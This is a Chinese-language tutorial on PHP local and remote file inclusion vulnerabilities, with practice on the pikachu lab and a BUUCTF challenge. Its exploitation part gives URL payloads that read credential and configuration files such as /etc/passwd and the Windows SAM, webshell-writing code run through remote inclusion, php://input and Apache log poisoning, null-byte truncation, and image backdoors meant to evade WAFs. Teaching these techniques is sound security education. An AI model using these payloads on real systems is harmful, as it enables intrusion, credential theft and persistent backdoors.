目录
文件包含的原理
文件包含的检测方法
各种脚本对应的文件包含的函数
文件包含的类型
本地文件包含
远程文件包含
文件包含漏洞的利用
读取敏感文件
windows系统
Linux系统
远程包含shell
本地包含配合文件上传
使用PHP封装协议
包含Apache日志文件
截断包含
绕过WAF
文件包含漏洞的修复方案
文件包含的知识点框架如下:
大多数的Web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,所以文件包含漏洞经常出现在PHP语言中,但就是因为这种灵活性,从而导致客户端可以调用一个恶意文件,造成了文件包含漏洞。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
检测方法包括着黑盒检测和白盒检测,其中的白盒检测主要就是通过代码审计,来寻找其潜在的文件包含的漏洞;黑盒测试可以通过漏洞工具的检测、查询公开漏洞、以及观察功能点和url中的参数值来判断。
由于文件包含漏洞经常出现在PHP语言中,所以在PHP语言中的提供的文件包含的函数主要有四个:
分别是include()、include_once、require()和require_once()函数。这四个函数都可以进行文件包含,但是作用却不一样,其区别如下:
include():找不到被包含的文件的时候,只会产生警告(E_WARNING),脚本继续执行;
include_once():此语句与include语句类似,唯一的区别是如果该文件中代码已经被包含,则不会再次包含。
requie():找不到被包含的文件的时候,会抛出致命的错误(E_COMPILE_ERROR),并停止脚本;
requie_once():此语句与require语句类似,唯一的区别是如果该文件中代码已经被包含,则不会再次包含。
根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
下面使用pikuchu靶场分别对两种类型进行练习:
进入页面,由于我们是黑盒测试(当然代码我们也是知道的,也可以去代码审计),我们通过看参数值和功能点,判断可能存在文件包含漏洞(当然练的就是文件包含)
我们在pikachu目录下创建一个phpinfo文件,里面存放的代码就是
我们在最开始的时候看到了他是在
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php
目录下访问的file1.php,所以在这里我们想要去访问到pikachu目录下的phpinfo文件,就要不断的返回上一次目录。
这里我们通过通过使用我自己的csdn博客个人主页来作为远程被包含的地址。
在漏洞利用方面,我们可以尝试使用许多的伪协议进行文件的读取。
以BUUCTF中include 1为例,进行伪协议的使用。这里使用到php://filter伪协议。
这里判断flag.php中的内容被隐藏不显示,所以我们尝试使用伪协议进行读取。
看到一串被base64编码的字符串,进行解码便得到了flag。
访问url:http://www.xxx.com/index.php?page=/etc/passwd,如果目标主机文件存在,且有相应的权限,那么就可以读出文件的内容。
常见的敏感信息路径如下
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
......
/etc/passwd
/usr/loacl/app/apache2/conf/hpptd.conf //apache2默认配置文件
/usr/loacl/app/apache2/conf/extra/hpptd-vhosts.conf //虚拟网站设置
/usr/loacl/app/php5/lib/php.ini //PHP相关设置
/etc/hpptd/conf/hpptd.conf //apache配置文件
/etc/my.cnf //mysql的配置文件
......
如果目标主机的allow_url_fopen是开启的状态,就可以尝试远程包含一句话木马,如:http://www.xxx1.com/echo.txt,里面的代码如下:
fputs(fopen("shell.php","w"),"")?>
访问: http://www.xxx.com/index.php?page=http://www.xxx1.com/echo.txt,将会在index.php所在路径下面生成一个shell.php,内容为:
很多网站通常会提供文件上传功能,比如:上传头像、文档等。假设已经上传一句话图片木马到服务器上,路径为/upload/202201.jpg
图片的代码为:
fputs(fopen("shell.php","w"),"")?>
访问: http://www.xxx.com/index.php?page=./upload/202201.jpg,将会在index.php所在路径下面生成一个shell.php。
php有很多的封装协议,例如我们上面所提到的,在上面的CTF题目中我们就是用到了php://filter/read=convert.base64-encode/resource=xxx.php。当然我们还可以写入php文件,使用php://input可以执行php语句,但是使用这条语句时需要注意:php://input受限于allow_url_include选项,也就是说allow_url_include必须是ON状态才可以。
比如构造url为http://www.xxx.com/index.php?page=php://input,并通过POST来提交数据:
fputs(fopen("shell.php","w"),"")?>
那么将会在index.php的路径下生成文件shell.php。
某个PHP文件存在本地文件包含漏洞导致无法上传文件的时候,这个时候就像是明明有sql注入漏洞但是注入不出数据来。但本地包含还有另一招,就是找Apache的路径,利用包含Apache的日志文同样也是可以获取到webshell。
Apache运行之后一般情况下,会产生两个日志文件,一个是access.log(访问日志)和error.log(错误日志),访问日志中记录了客户端的每一次请求以及服务器相应的相关信息。例如当我们访问index.php的时候,Apache就会记录下我们的操作,并写入到日志文件中。当我们访问一个不存在的资源的时候,Apache同样也会记录,这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件的时候(一般就是木马文件),就可以访问url:http://www.xxx.com/。Apache就会把我们的请求写入到日志文件中,然后我们再去包含Apache的日志文件,不就可以利用了吗?如果发生转码,我们便可以通过brupsuite来绕过编码。
攻击者在使用Apache日志文件包含的时候,首先需要确定的就是Apache的日志路径,否则即使攻击者将PHP木马写入日志文件,也无法进行包含。所以找到Apache的路径是重点!
首先看一下下面的代码:
比如我们上传一个图片马,1.jpg,但是在服务器端会变成1.jpg.php就找不到这个文件,所以无法进行包含,这里我们就可以使用%00截断。输入的url编程http://www.xxx.com/index.php?file=1.jpg%00。这种情况是在魔术引号机制关闭的情况,如果为ON,那么%00是会被转义的,从而无法进行正常的截断操作。同样在魔术引号开启的情况下,单引号、双引号、反斜杠(\)、NULL均会被转义。
文件包含有时候还会被用来制作后门,从而躲避WAF的检测机制,比如说我们建立一个图片文件代码作为一句话木马,然后在php文件中包含这个图片木马,一般的杀毒软件是无法检测的。